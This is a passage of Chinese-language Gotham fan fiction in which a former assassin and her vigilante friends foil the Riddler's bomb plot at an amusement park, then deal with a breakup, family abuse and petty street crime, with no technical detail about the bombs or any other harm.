了然于心的斯蒂芬妮毫不在意，对着镜头眯起眼睛扬起了微笑，摆起了各种pose，如自信的骑士，如老练的战士，是愿意用自己力量庇护弱小的义警，是飞翔在哥谭上口永远不变的搅局者。 看到索菲亚收起手机，斯蒂芬妮也拿出自己的手机切换到前置镜头将两人一同放置在画面中。 索菲亚的动作算不上拘谨，但不擅长面对镜头的黑发少女思索良久，最后还是比出了略显老土的剪刀手。 斯蒂芬妮透过镜头看到好友的动作，也变换了动作，直到闪光灯下两人方向各异的剪刀手一起被记录在相片之中。 从旋转木马离开，斯蒂芬妮的手指在屏幕上来回滑动，查看坐在后方的索菲亚表情的变化，十几张照片来回翻动如果不是位于前景的斯蒂芬妮每张都摆出了不同的手势，实在很难看出照片的区别。 斯蒂芬妮抬眼看向索菲亚，就看到黑色短发的少女条件反射般举起剪刀手比在脸侧，表情却没有任何变化。 “算了，至少你也很开心对吗？” 伴随着少女机械般的点头动作，内容为报时的广播声在园区内响起吸引了每个人的注意。 “各位游客请注意，花车游行环节即将开始，请大家遵守规定在指定区域观看演出，此次演出时长为两小时，演出结束后是烟花秀演出。” “请大家不要错过。” 第34章 两人对人挤人的花车游行实在提不起兴趣, 也没有必须要用手机拍点照片视频更新社交平台的需求，干脆趁人群都涌向游行路线附近，上了几乎在空转的摩天轮。 摩天轮在整座乐园都算得上万众瞩目的存在, 任何人远远望去第一眼一定会看到这样的一座由金属材料构建而起的娱乐设施，可真的到了摩天轮脚下抬头仰望，才能意识到接近五十层高楼的建筑到底是怎样的概念。 轿厢越来越近, 看准时机两人一前一后钻了进去大喇喇的靠在座椅上。 窗外的风景随轿厢升起如同放映的幻灯片一般拨动速度也随之加快, 索菲亚能感受到不受控的升空带来的轻微失重感，白日里显得格外炎热的天空被抹上柔和的暖黄色，随着时间的变化那抹黄色在残存的日光下被加上红色的晕染，橘红色的天光全部集中在地平线西方, 而回头看就能看到依旧是一片蓝天白云的祥和景象。 斯蒂芬妮看到了轿厢上贴着的可以点歌的标志, 在app里选了半天实在没办法在死亡摇滚, 纯音乐以及带脏话的rap里选出一首适合目前风景的歌，最后只能闭上眼睛选了榜首的《baby》。 “好漂亮，我要拍一张。” 斯蒂芬妮调出相机站了起来, 不顾有些闷热的环境挤到索菲亚身边, 用手臂从后方环住了少女的肩膀。 “来, 茄子。” 索菲亚刚要伸出公式一样的剪刀手，就被斯蒂芬妮按住了胳膊。 “不许敷衍我, 你每个动作都一样别人都以为你是p上去的模板呢。” 金发女孩对着屏幕看了半天总觉得哪里不对, 转头看索菲亚空空的脑袋上有了灵感。 “等一下, 你脑袋上太空了, 拍出来就肯定没有那么可爱。” 说罢斯蒂芬妮从背包的侧边掏出了几根小皮筋，伸手梳理同伴的黑发。 “没有装饰就不可爱吗？”话虽这么说, 但索菲亚还是乖乖的坐在原地, 任由同伴在脑袋上四处施工。 “可是装饰了以后会更可爱哦。” 纤长的手指在被分成几股的发丝间灵活穿梭, 一条编排整齐地发辫逐渐显露出来，直到少女用手腕上的皮筋扎紧了发辫后，又重新将发丝略微调整的不会过于紧绷。 “完美。” 索菲亚重新看向镜头里的自己，除了脑袋旁多了条小辫子看不出什么区别，但还是顺应同伴的话点头肯定。 不过两分钟，斯蒂芬妮也给自己编好了小辫，两个女孩的脑袋亲热的贴在一起，不同颜色的发丝混在一起不分你我。 忙活了一阵，顺着窗户便看到了黑压压一片的人群，在被刻意隔开的演出区域外，无数的人头在道路两侧延伸，在高空中被衬托的犹如蝼蚁一般，渺小且遥远。 此时，大多数孩子的手中出现的毛绒玩具显得格外突出，统一绿色的毛绒玩具在一片混乱的人群中几乎点亮一个又一个的光点，只是隔得太远索菲亚也无法确定到底是什么样子的毛绒玩具。 “我不记得乐园还给发玩具当纪念品啊，是新出的活动吗？” 斯蒂芬妮打开背包里随身携带的电脑，在屏幕光线的投射下，气氛逐渐变得凝重。 “我猜的没错乐园官方没有这项活动，那现在在地面分发玩具的玩偶服员工到底是？” 正在看手机的索菲亚举起手机将画面展示给斯蒂芬妮，巨大的几乎占据所有画面的，绿色油漆画成的巨大问号下，是一串文字。 什么东西炸开时会偷走夜晚的焦点，像秘密一样转瞬即逝，却只有在点燃时才展露真容（What bursts to steal the nights spotlight，fades like a secret，yet only shows its true face when ignited）？ “谜语人最后的谜语放在了哥谭乐园。” 和少年的对话框上还显示着正在输入，下一条文字立马跳了出来。 “乐园有什么问题吗？” 索菲亚和斯蒂芬妮对视一眼，立马回复了消息。 “穿着玩偶服的人在给发绿色的玩具。” “GCPD已经在路上了，工作人员会去回收那些玩具。” “注意安全。” 说完这句话，罗宾的窗口彻底没了消息，两人拎起背包从还未完全落地的轿厢上跳了下来。 方才在高处大多数噪音都因为距离而被隔绝开来，如今回到地面各式各样让人头皮发麻的声音不加筛选的从耳朵钻进大脑中，索菲亚不适的皱着眉头。 震耳欲聋的欢快音乐声，随着主持人互动响起的此起彼伏的尖叫欢呼声，其中来自儿童的尖锐的笑声和喊声更是像一把刺入太阳穴的锥子吵的人头疼，在这之中一种若隐若现的电子计数如同倒计时般的声音萦绕在人群之中。 索菲亚左右环视，很快顺着声音看到了人群之外有一个拄着拐杖坐在长椅上的落寞男孩，有着一头亚麻色头发的孩子手上正抱着一个绿色的看不出物种的动物形状的玩具。 索菲亚来到男孩面前，眼神直勾勾的盯着对方手里的玩偶，半天没有说话。 “大姐姐，你也想要吗？”男孩开口询问道。 “嗯。”索菲亚点头“他们说只给小孩子，大孩子没有，但是我很喜欢。” 男孩打量着眼前的大姐姐，最后大方的伸出手上的玩具递给索菲亚。 “那送你好了，我家里还有很多玩具。但我现在很想吃糖，但是却没有糖，你能给我一些吗？” 索菲亚接过玩偶立马从口袋里掏出一把水果味的糖放在男孩手心，很快又从背包里翻出一大袋没开封的玉米糖整包都给了男孩。 得到糖果后心满意足的男孩对着快步离开的索菲亚挥手，接着打开糖纸开始享受这些意外的甜蜜。 趁人不备钻进工具间的索菲亚剪开了玩具上的布料那道声音更加明显，在布料包裹下的塑料躯干的正中心早就被挖空，放着一枚小小的亮着红光的计时器，“滴滴滴”的响声在隔绝了外界噪音的工具间格外刺耳。而刚才在人群中，无数细小的“滴滴”声都在暗示着死亡的无限接近。 就在索菲亚愣神的时候，计时器的声音突然变得局促，作为前杀手的本能让索菲亚下意识将破烂的玩具丢了出去，自己则飞身离开并关上了门。 一声闷响后，索菲亚再次开门，已经在弥漫着烟雾的房间中看不到那只玩具的身影，火药的味道还带着热气，墙上一块瓷砖摇摇欲坠终于是承担不住压力，落在地上摔了个粉碎。 炸药的剂量不大危害也在可控范围，但联系到外界成千上万只的被捏在孩子们手中的玩具，索菲亚已经能够联想出连环爆炸后死亡和伤痛带来的哀嚎。 计时器虽然被炸飞，但质量明显过硬，上面的倒计时实际上还有半个小时左右，显然是被人为控制而爆炸的。 半个小时后，连环爆炸，谜语，烟花。 即便索菲亚几乎不喜欢动脑子，但也能通过几个关键词联系出其中的关系，在大家都无比期待的烟花表演后随之而来的便是一场接一场的小型爆炸，混乱的现场足够摧毁这座所谓的乐园，到时即便是蝙蝠侠到场也很难疏散恐慌的人群。 将自己的发现同步给斯蒂芬妮和正在赶来的罗宾，直到信息成功发出索菲亚才意识到自己的双手竟然在颤抖。 熟悉的做法让索菲亚几乎幻视那只巨大的擅长给人带来恐惧的猫头鹰，呼吸无法控制的变得急促，在再三平复心跳和呼吸后，索菲亚告诉自己。 这是另一个世界，阿尔伯特不会来的。 他找不到你的索菲亚，他不会过来。 索菲亚深吸一口气转身离开，经过卫生间的洗手池时下意识用余光扫过，一只巨大的猫头鹰出现在镜面之中。 急刹车般停下脚步再次回头，镜面中却只倒映出索菲亚一个人的画面，镜面里的索菲亚的脸颊上沾染了黑色的烟灰。 打开水龙头用手接水清洗，刹那间清水变成了粘稠的带着温度的血液，下一刻又变回原样。 索菲亚站在原地沉默的关上了水龙头，草草扯出几张纸擦手，这才发现手背上被划出的细小伤口。 被发现后，细碎的疼痛沿着神经爬向大脑，就像是过去十几年经历的每一天一样。 将纸团成团扔进垃圾桶，索菲亚用手掌拍了拍脸颊让自己清醒过来，就要去看其他玩偶的回收工作，尽力在罗宾到达前收集尽可能多的炸弹，避免麻烦。 猝不及防间索菲亚和一道身影撞了个满怀，用尽力气收回了差点出了杀招的身体。 抬眼望去和索菲亚撞在一起的是个亚裔姑娘，比索菲亚短上不少的黑发，亚裔典型的黑色瞳孔中看不出一丝发生意外的惊慌，让索菲亚有种莫名其妙的熟悉感。 女孩很快没了身影，索菲亚实在分不出精力再去追一个有点可疑的亚裔女孩，只能记在心里之后再进行安排。 喧闹声延伸到了这座算得上偏僻的洗手间，索菲亚重新调动注意力在人群中寻找绿色玩偶的踪影。虽然只短暂离开了十几分钟，但人群中绿色的占比有了显著降低，零星的几个很快也有身穿统一服饰的工作人员进行置换。 时间越来越近，索菲亚的心跳再次加速，伴随着人群中发出统一的声音进行倒数，数字越来越小。 索菲亚听到了隔壁几个工作人员在窃窃私语，关于无论如何都找不到的最后一个玩偶。 索菲亚几乎能够预料到这场灾难的开始，但是放轻松一点只是一个玩偶，至少比预设的所有玩偶一起爆炸的景象要好的多不是吗？ 索菲亚逐渐从人群中脱离，听到的声音也像是被捂住了耳朵般模糊，又像是被浸泡在水中，扭曲了原先的声波。 就在倒计时归零时，片刻的寂静后爆发出孩子们惊喜的呼声。 “Robin！” “Robin！Robin也来了。” 索菲亚抬头望去，就看到落在舞台高处的再熟悉不过的身影，黑色的披风在微风中飘荡。距离有些遥远，但不影响索菲亚看到少年还没来得及调整好的呼吸，以及面具都无法遮盖的自信。 而被罗宾举起的，正是最后一只肚子里被塞上了炸弹的毛绒玩具。 第35章 倒计时结束的那刻, 预料中的盛大烟花并没有出现在黑色的夜空中，短暂的寂静人群里爆发出内容不同但都包含遗憾的叹气声和嘘声，不到一分钟通知烟花延迟的广播在园区内响起。 罗宾在短暂出现后急匆匆的离开, 索菲亚顺着他离开的方向找去，渐渐远离了人群聚集的区域，四周的游乐设施也变得稀疏, 直到四周一片荒凉。 而在草地上, 罗宾正对着通讯器汇报目前的情况，听到索菲亚的脚步抬起了头。 “玩得开心吗？” “还好。”索菲亚没有停下脚步，而是向罗宾走近“过山车跳楼机没那么好玩，不如晚上夜巡。” “这样吗？” “炸弹怎么样？” “夜翼抓住了分发玩偶的人, 对方承认了是受谜语人指使, 在清点过后现在已经全部收集完毕了, 没有遗漏。” 两人距离很近，近到索菲亚可以听到对方耳麦里另一个人说话的声音。 “说点别的啊提宝，再说点关心她的话。” “没关系的。”索菲亚直接回答了耳麦那头人的问题, 指了指罗宾的耳朵“所以为什么要延迟烟花演出？” “实际上, 谜语人在越狱前港口有一批火药失窃, 现在可以确定是谜语人运走了这批货物，但目前所有的微型炸弹所含的火药量和那批货物实际的重量出现了缺口。如果说剩下的火药被做成了一个炸弹的话, 那么这个炸弹的威力可以把哥谭乐园带着地皮一起炸上天。” “因为谜语的答案是烟花吗？” “对。”罗宾轻轻点头“燃放烟花的瞬间炸弹爆炸, 那么就可以推断炸弹和烟花燃放程序相关联, 那么现在通过延迟烟花带来的时间差我们就能解决这个问题。” “谜语人看到烟花延迟不会直接气急败坏引爆炸弹吗？” 索菲亚有些心不在焉, 视线偏移到罗宾身后的披风上，盯着边缘被撕扯后留下的锯齿状纹样走神。 “谜语人是喜欢按照自己规则行事的反派, 比起不管不顾的毁灭一切, 他更喜欢拿规则和义警对抗, 而他的规则就是他引以为傲的谜语。” “如果是小丑的话，我们反而需要小心对方完全无法预测的行为……” “……” “索菲亚，你听到我说什么了吗？”罗宾的语气里带了些无奈。 “小丑？”被点名的索菲亚收回了视线，不紧不慢的和罗宾蓝色的眼睛对视“我们等会遇到小丑需要直接打死吗？” “我们需要进入位于地下的摩天轮控制室拆除炸弹，切断炸弹和烟花的联系。”罗宾再次重复了一遍作战计划语气有些无奈“你不想去也没关系，我自己能处理过来。” “我可以去。”索菲亚肯定的回答道。“带上我吧，我很有用的。” 虽然不太理解摩天轮的控制室为什么不放置在露天的地方，而是选择放在地下，但索菲亚还是选择乖乖跟在罗宾身后，把需要动脑子的活全部外包给更擅长的人。 斯蒂芬妮曾经兴奋地宣布，要和蝙蝠侠有关的哥谭义警组一辈子的队。 上周遇到绑架案神谕甚至没有出现在搅局者面前，只依靠通讯频道就查明了罪犯的行踪，让斯蒂芬妮蹲守在对方逃亡的路上，恰到好处的让对方了落入义警的手心。 当搅局者制服了对方并将其挂在路灯上满意离开后的五分钟，亮着红蓝配色警灯的警车正好抵达将罪犯顺利押送回哥谭反派的第二个家——GCPD。 这么说来，蝙蝠系义警确实靠谱的要命。 罗宾轻松撬开了接连上锁的三扇防盗门，进入控制室不到几秒就找到了被隐藏起来的保险丝，利用保险丝给控制室重新供电，利用电力打开唯一一道由电子程序控制的门。 看着解密过程算不上复杂，但程序实在繁琐的种种机关，索菲亚还以为自己在steam打开了游玩时间不足3小时的《生化危机》，马上就要四处找剪刀把被吊起来的钥匙剪下来了。 最后一道门被打开，但没有出现预料中的炸弹，而是在监控画面中出现的正在移动的索菲亚无比熟悉的场景——摩天轮的轿厢。 而在镜头的中心，正是大家苦苦寻找了许久的，能够随时夺走几万人生命的炸弹。 看得出来谜语人对自己的谜语足够自信，画面中只有一个轿厢被放上了炸弹，如果是打扮成猫头鹰的索菲亚那位恶趣味的导师，大概会在每个轿厢里都放上炸弹以绝后患。 罗宾的嘴里在默念些什么，索菲亚听不真切，只是也凑近了身子眯着眼判断画面中轿厢外的风景，终于判断出了轿厢的位置。 “我没猜错的话还有五分钟这个轿厢就会转到地面上，要是错过了我们要再等半个小时。” 接下来又是一阵玩了命的奔跑，像是赶不上迟到前的最后一趟班车，或者在停运前的最后一趟地铁，更该死的是这种事还发生在日本这种打车费比命贵的破地方一样致命。 单纯比体能索菲亚颇有信心，略微发力就能保持始终领先罗宾半个身位的速度，罗宾略微有些喘气，但索菲亚的呼吸还是没有丝毫变化。在看着轿厢离开停靠点即将再度上升时索菲亚一个箭步跨了上来，一只手抓着扶手另一只手略微用力，就将身后的罗宾也一把拉了进来。 那颗炸弹显得格外庞大几乎占据了座位间所有的空隔，罗宾勉强能把自己塞进去进行拆弹，索菲亚就只能缩着身子趴在座位上看夜景。 顺手摘掉了隐形眼镜露出少女金色的瞳孔倒映在暖黄色灯光下的玻璃窗上，索菲亚几乎将脸贴在窗上终于看清了夜幕中天空的区别。左边的区域完全黑的彻底，像是深邃的看到不尽头的洞窟只有无止境的延伸，中间则略微不同多了些云层修饰将黑色的程度略微削弱，肉眼可见由云层分隔开的形状不一颜色深浅不同的黑色色块。 右侧挂了月亮，圆满的找不到一丝缺陷的圆月被云层所晕染，将颜色从黄色扭曲成发红的色彩，在夜空中存在感极高，任何人抬起头映入眼帘的一定是这一轮红月。 从窗户的倒映中，索菲亚看到了还在拆弹的罗宾，少年的头发没有了平日里在学校连发丝都在散发光泽的精致，因为频繁的移动略微有些凌乱，黑色的散发似乎有些过长遮住了索菲亚看向少年蓝色的眼睛的视线。 “你编辫子了吗？很适合你。”少年没有抬头，但还是分出些精力和索菲亚说话，倒计时滴滴滴滴的动静成了配乐，显露出难得的平静。 “搅局者很喜欢，她说这样会很可爱。” “她眼光很好，你也很好，很漂亮。你们坐摩天轮了吗？之前批文件的时候我看到了摩天轮的示意图，就感觉风景一定很漂亮，你一定会喜欢。” “很漂亮。”索菲亚没有回头“我们拍了好多照片，她说我总是一个表情像是被p上去的。” “我觉得没有，任何人只要熟悉你，不需要看你的表情，只需要看你的眼睛，就能知道你现在的情绪，比如你现在心情还不错？” 罗宾的语气不再有紧绷着的紧张，而是带了几分放松，索菲亚猜拆炸弹的流程还算顺利。 “那你呢？大家好像都觉得你很难相处，可是你平时总是在笑。” “实际上这只是一种社交礼仪，哥谭的很多家庭都会这样教导孩子，微笑是武器也是最好的防御，至少别人和你聊天时挂着笑总比板着脸强。当然，布鲁斯除外，还没有什么人需要他赔笑脸。” 罗宾小心地站了起来，将四周散落一地的工具挨个收了起来。 “蝙蝠侠已经抓到了谜语人，夜翼会来回收炸弹，预计五分钟后烟花就会继续燃放。” 罗宾转过身确认关停了轿厢内的监控后，摘下了脸上的面具，露出还在流汗的白皙的皮肤，将索菲亚目前名义上的小男友提姆德雷克从罗宾的身份里放了出来。 “在确认有烟花表演时，我就在想要邀请你来看，你一定会喜欢。”提姆的脸上挂着微笑，顺着索菲亚的视线看向地面，看向人群，看向夜空。“迪克，哦就是夜翼，他建议让我们一起来，我不确定自己能不能到，但我想至少要你能看到。” “你有什么想问的吗？” 沉默许久，索菲亚才终于从嗓子里挤出这句有些干巴的话，她一直逃避着的属于罗宾的发难，作为好同桌的提姆或许会包容索菲亚离经叛道的行为。 可是罗宾呢？罗宾会怎么看待一个嗜杀成性不把别人的命放在眼里的杀手，一个认同不杀原则的人怎么能够允许有人在他的眼前死去。 如果索菲亚是一个把恋爱放在首位的女孩，她可以把男友的原则当做自己的原则，自我牺牲式的献祭自己的一切想法来成全他人。 可是索菲亚不是，即使过去的环境算不上好，但是由无数个日夜的疼痛构成的深深刻印在少女大脑深处的原则都在告诉索菲亚，杀戮是解决问题最好的办法。 以伤害弱者为乐的人，以掠夺他人获取财富的人，对付这些人最好的方法从来不是教化和劝导，伤害和死亡才是最好的方式。 索菲亚不在乎死在刀下的人是否犯罪，也不在乎对方的家人，只要是挡在了少女唯一能够行走道路前的人，唯一的结局只有死在冰冷的刀光之下。 索菲亚平静的注视着对方蓝宝石一般的双眼，等待对方开启新的，或许会让这段关系彻底破裂的话题。 “抱歉索菲亚，我一直在思考我们的关系，从我们在一起的那天起我的大脑里就在不停的思考。这段感情的开始是一个误会，如果不是毒藤女花粉的影响，我也不会做出这些出格的带有误会的行为。” “这不是你的错索菲亚，如果是我面对被影响的朋友也无法说出拒绝，而我在察觉到这一切后并没有及时补救，而是将错就错继续了下去。” “你是个好姑娘，而我是个完全没想好就立马步入亲密关系的混蛋，但这不公平索菲亚。你用真诚的友情来照顾我这位犯错的朋友，而我却在用虚假的感情来敷衍你的爱。这段错误的关系扭曲了我们的友谊，但我认为不该是这样的。你不该受到这样的对待，我不能这么对你。” “……” 轿厢中一片寂静，索菲亚半天才张口。 “我以为你会问我杀人的事。” “……你并非是义警，我不能完全以自己的道德观去衡量你，但如果发生类似的情况，我会阻止你。” 延误已久的烟花此时突然在天空中绽放，五彩斑斓的火光透过窗户照在两人的脸上，少女白玉一般的脸庞上毫无表情，但从没有一丝弧度的嘴角中提姆已经做好了被骂渣男的准备。 索菲亚思考了片刻，点了点头。 “那我们还能做好朋友吗？” “当然可以，你现在依旧是我在学校最好的朋友。”提姆脸上的紧张烟消云散，重新回归到正常关系让少年提着的心终于放了下来。 “那我们还能去吃之前清单上的好吃餐厅吗？”索菲亚睁大了一双圆眼，像只看到了猫条急的喵喵叫的黑猫。 “当然，只要我有空，我们可以吃遍哥谭所有的餐厅，多少次都可以。” “作业也能给我抄吗？” “当——这个不行，有不会的地方我可以教你，无论什么时候都可以。” 被拆穿了的索菲亚尴尬的吐了吐舌头，脸上放松了许多，把注意力全都放在窗外的烟花上，看的目不转睛。 提姆却完全看不进烟花，他的注意力全部集中在沐浴在烟花下的少女身上，关系的结束除了带来预料中的放松以外，仿佛失去什么的惆怅自心脏流出，顺着血液将少年全部都笼罩其中。 直到窗外的风景逐渐下落，夜翼对着已经停转的轿厢敲了敲，唤醒了少年。 “布兰登小姐，我先把罗宾借走了。” 提姆德雷克这才回过神来，戴上了面具，重新变回罗宾跟在夜翼身后，像回巢的鸟儿一样扇着翅膀飞向了远方。 第36章 索菲亚设想过无数个关于结束这段感情的场景, 或许是常规悲剧结尾的爱情电影常有的两人身份立场的不同，在激烈的冲突下不得不分开，倒霉一点或许还会生死离别再也不会相见。 也可能是青春电影结尾后为了爱情私奔的情侣在公交车上的笑容逐渐消失, 真正的梦幻中回到了迷茫的现实。 当然在现实中关于出轨，家暴相关的抓马场景虽然不算少见，但索菲亚实在难以把提姆和这些词联系在一起。 索菲亚的好朋友提摩西是一个道德感正义感都很高的人, 但他却从不被规则束缚, 毕竟真正老实乖巧遵守规则的小孩是不会拿着相机在哥谭的大街小巷一边和罪犯周旋一边还能跟踪蝙蝠侠的，也不会自爆式的找上门推荐自己成为罗宾来解决问题。 “其实也不准确，我其实尝试去布鲁德海文找迪克，那个时候他还不认识我, 我说我知道他罗宾的身份, 想他会回到哥谭再次成为罗宾来拉B一把, 但是他拒绝了。” 少年讲述这段往事时显得格外风轻云淡，索菲亚则盯着少年装满饮料的玻璃杯里漂浮着的打结在一起的蓝色红色两根吸管。 “为什么我没有吸管，我也要。” 提姆从杯子里取出吸管, 将蓝色那根解了下来插进了索菲亚面前那杯橘色的饮料里, 碳酸饮料中气泡沿着杯壁上升和冰块相碰撞, 蓝色的吸管显得格外特别。 “好了好了，你看你也有吸管了。” 话说回来, 短暂的持续了一个月的恋爱简直像是做梦, 像是日式青春电影里常有的, 只存在于夏天的恋爱电影。 少年少女在特定的情形下相遇, 相知，两个陌生青涩的灵魂在固定的场景下出演只有自己知道的独幕剧。 直到那个夏天结束, 大家回到了生活这个大舞台上属于自己的位置, 或是扮演主角或是扮演NPC, 在深夜或许才能回忆起青春中存在的某个回忆。 但短暂的称不上恋爱的关系的结束，并不意味两人关系的彻底结束。 提姆向索菲亚证明了，好朋友的约定从来不是一句空话。 夜晚罗宾一如既往地在哥谭飞来飞去，白天的时候频繁登上商业杂志头条的德雷克少总在记者的镜头下意气风发，据说提姆的爸爸得知提姆做出的成绩，把自家的产业也交给了儿子，让原本只是替布鲁斯代工的提姆再也无法从董事会那张奢华异常的售价超过几十万美刀的老板椅上离开。 即便如此，提姆还能抽出空按照社交媒体大家总结出来的美食榜单带着索菲亚挨个探店，大多数些规模不大的小餐馆，蝙蝠侠在听说这件事后作为资深花花公子布鲁斯韦恩向提姆推荐了味道很好的冰山餐厅。 于是，当刚刚结束一天工作的还保持一身西装革履的德雷克少总和穿着件短袖长裤运动鞋的索菲亚一起出现在金碧辉煌的，连引路侍者的工作制服都价值上万美刀的冰山餐厅时，提姆用尽全身力气才没让自己尖叫出声。 尤其是衣冠楚楚的企鹅人带着主厨来询问提姆用餐体验如何时，提姆还能回忆起前一天晚上蝙蝠侠险些把企鹅人晚饭都打出来的激情场景，在灯光下企鹅人额头上的淤青都格外显眼。 “简直不能太棒了，感谢你的关心科波特先生，我父亲不止一次向我推荐冰山餐厅的珍馐佳肴，今天来体验过后我才意识到我父亲的话竟然没有一丝夸张的成分。” 提姆将视线从企鹅人脸上的伤疤处离开，就看到索菲亚还在闷头吃盘子里的鹅肝，至少从少女的微表情提姆就能知道自己选错餐厅了。 提摩西德雷克，你就是个混蛋，索菲亚绝对没有吃饱，快做点什么啊。 让女孩子接受晚餐邀请后没有吃饱也太掉价了吧。 如果布鲁斯做出这样的事完全可以和花花公子的身份说拜拜了。 提姆艰难地抬起头对上企鹅人疑惑的视线，终于是艰难地开口。 “能给我再上两份鹅肝吗？我没有吃饱。” 企鹅人在片刻的诧异后还是答应了这份要求，只是在离开前略带深意的拍了拍少年的肩膀。 “代我向韦恩先生问好。” “请放心，我会的。” 拿到了加餐的索菲亚明显高兴了不少，如果是动画恐怕少女的脑袋上都飘着各色的小花，就像是搅局者那天过后在X发布的自拍一样，点缀在黑发上的蓝色皮筋，让索菲亚脱离了猎魔人给人带来的硝烟和血腥印象。 在桌面摆放着还带着露珠的玫瑰中，小雨再度落下，在远离喧嚣的寂静中，两人的视线交汇便意味着夜晚尚未结束。 索菲亚难得加入了夜巡的队伍，亦步亦趋的跟在罗宾身后，在踹了一个企图强迫落单女性的人渣的屁股后，见到熟悉紫色披风的少女彻底背叛了好朋友的怀抱，投入了超级无敌好朋友搅局者的队伍。 “对不起罗宾，但是比起做义警，我更喜欢女孩子。” 在天台上，斯蒂芬妮向索菲亚展示了自己布置好的监控画面，屏幕上密密麻麻的方块下都是男人可能会出现的场地，街角的小巷，被斯蒂芬妮发现踪迹的备用安全屋，酒吧…… “他已经开始了，我之前还在想要不要通知GCPD，但是想了想觉得算了，只要他没有再次犯罪就没人能够拿他怎么样。” “我会看着他，每分每刻，在他实施犯罪计划的那刻起我就会跟在他身后。” 蓝色的眼睛里带着些红血丝，眼眶下的乌青也显示出少女过度透支身体带来的反噬。 “他一直都是这样，自命不凡，觉得全世界都亏欠他。他喝多了酒就开始发疯，说自己怎样被命运捉弄，所以才和一个没用的女人结婚，还有了个没用且不听话的女儿。” “妈妈总是安慰我，说是因为爸爸生在了错误的时代所以才会如此。可是那个男人喝醉酒后用拳头砸在她脸上打的她痛哭流涕的时候，拦住他的人明明是我，我愿意和妈妈一起挨打，可是为什么妈妈总是反过来指责我不听话惹了那个男人生气。” 斯蒂芬妮将脸埋在掌心，语气里不复平日的活泼和冷静。 “有的时候我总是在想，到底谁才是妈妈的孩子，我的保护为什么在她眼里完全不值一提。明明在我面前埋怨流泪的人是她，她为什么总是能那么顺理成章的成为那个男人的口舌，来攻击这个世界上唯一愿意保护她的人。” “有一次我气急了不想待在这个糟糕的家里，我跑到巷子里想去找点还没被捡走的蝙蝠镖，那玩意很值钱如果能找到一个完整的够我买一个月的面包。” “结果遇上了想打劫我的家伙，蝙蝠女赶来了帮我打跑了那个家伙，问我：女孩，你为什么没有在家里睡觉？” “我说我想要蝙蝠镖，那个东西很值钱，我可以买好多东西让妈妈高兴。” “蝙蝠女沉默了许久，路灯下她的红发像绸缎一样漂亮，她拿出一枚崭新的蝙蝠镖给我，让我早点回家。” “等我到家的时候家里所有的灯都关上了，我以为妈妈已经睡下了，她身体不好经常在等我的时候在沙发上睡着，我怕打扰她就没有开灯，轻手轻脚回了房间。” “我在想怎么给她道歉，我不是故意要惹她生气的，我希望她过得好。” 等到第二天，要去上学的斯蒂芬妮没等到妈妈每天都会准备的热腾腾的早餐，便推开了属于父母的那间门。 门后，妈妈躺在床上仿佛睡着了一样。 斯蒂芬妮停止了叙述，缓缓地抬起了头，眼神里没有一丝悲伤而是超乎寻常的冷静。 “那个男人卷走了买药的钱跑了，只留下妈妈一个人在家里。” “在妈妈的墓前，我发誓，即使那个男人没有犯罪，我也要为他罗织罪名，我要让他这辈子都在监狱里无法离开。” “可是还是不够，深夜里我在床上辗转反侧，只是让他坐牢这太轻松了，我需要能够让他更痛苦的方法。” “我想杀了他。” 索菲亚见状拔出了刀递到斯蒂芬妮手上。 “我可以帮你支开罗宾和蝙蝠侠，刚磨过刀非常好用。” 斯蒂芬妮接过刀，注视片刻便笑了出来。 “骗你的，我还不想去黑门监狱，我现在好歹也算义警，怎么能杀人呢？” 紫色的披风在夜空中摇曳，斯蒂芬妮出门前应该刚洗过澡，新换的海盐味沐浴露闻起来有几分清新的感觉，削弱了夏夜的炎热。 索菲亚实在难以跟着一起笑，即使两人在一起时经常做些莫名其妙就笑着抱在一起的傻事，但少女还是敏锐感受到了同伴情绪的异常。 刚刚被磨刀石打磨过的刀身格外清晰，雨滴滴落在刀身发出和金属碰撞的清脆响声，接着如同镜面般的反光中，索菲亚看到了再熟悉不过如今却有几分陌生的过于冷静的眼神。 那是索菲亚在杀人前，在镜子中无数次看到的，属于自己的眼神。 第37章 亚当最近走了大运。 自从十四岁的亚当剃光了所有的头发拿上水果刀抵在一个倒霉下班族的后腰得到了两百块后, 东区的又一个不怕天高地厚的少年按照无数个类似的青年人堕落的路线走了下去。 当然，亚当和那群兄弟们可不觉得这是堕落。 人活着是要钱的，去餐馆里刷盘子得把手都洗烂掉一个月才一千多块, 更别说贵得要死的医保，亚当的老爹老亚当死前牙都要掉光了也没凑够去牙科诊所看牙的钱。 但是只要豁得出去，够狠, 胆子够大, 像是亚当一样，只需要一把水果刀拿来的报酬就够这群牛一样的小伙子吃汉堡吃个爽。 二百块，够三个小伙子各吃三个芝士汉堡，还能加双份芝士和牛肉饼, 就这样老板还要再送上可以无限续七八杯的冒着气泡的冰饮料。 午夜, 三个人掏遍了口袋也只能凑够一个汉堡的钱, 那一个迷你的有些可笑的汉堡在饥肠辘辘的眼神里泛着绿光的少年手中不停的传递，口水积蓄在口腔中几乎要顺着牙缝流出来。不过一圈，那只汉堡就被啃得干净, 连包装纸上溢出来的沙拉酱都被年轻人拿舌头舔的反光。 “我们得去干票大的。”亚当看着备餐区的穿着滑稽的印着汉堡店标志上衣的店员在向包装袋里装炸好的鸡翅, 滋滋冒油, 金属架子与裹了淀粉后炸的酥脆的表面接触发出直击灵魂的摩擦声，让亚当的大脑里立马回忆出牙齿咬破炸鸡外壳后, 从鸡肉里迸发而出的鲜嫩汁水喷射在牙龈中的快感。 “什么都行, 咱们去抢劫那帮站街的女人, 凭什么那帮女的张张腿就能挣那么多钱, 哥几个累死累活挨了顿打就值几百块？” “哥，咱要不找个女的去仙人跳吧, 咱专挑那种看起来窝囊的男的, 那种人爽完了脑子也没了, 等反应过来被下套之后也不好意思报警，咱们不是赚发了。” “好是好。”亚当摸了摸自己脑袋上长出的有些刺手的发茬“咱从哪找个女的，上学那会没一个女的有眼光看得上我。” “我在学校也没什么朋友。”那个瘦弱的木杆一样的男孩推了推鼻子上快掉下来的眼镜，过长的刘海几乎遮住了半张脸“那会我弄脏了鲍尔斯的鞋子，他也没打我只是让我赔，我去商店看发现那双鞋得两千块，太贵了我爸妈知道要打死我，我就从家里出来了。” 壮硕的几乎成了肉球的男孩估计一句话没听进去，正对着隔壁桌点的一桌子炸货流口水。 “哥，你说咱能不能抢劫这家店，我好饿啊，要饿死了。” 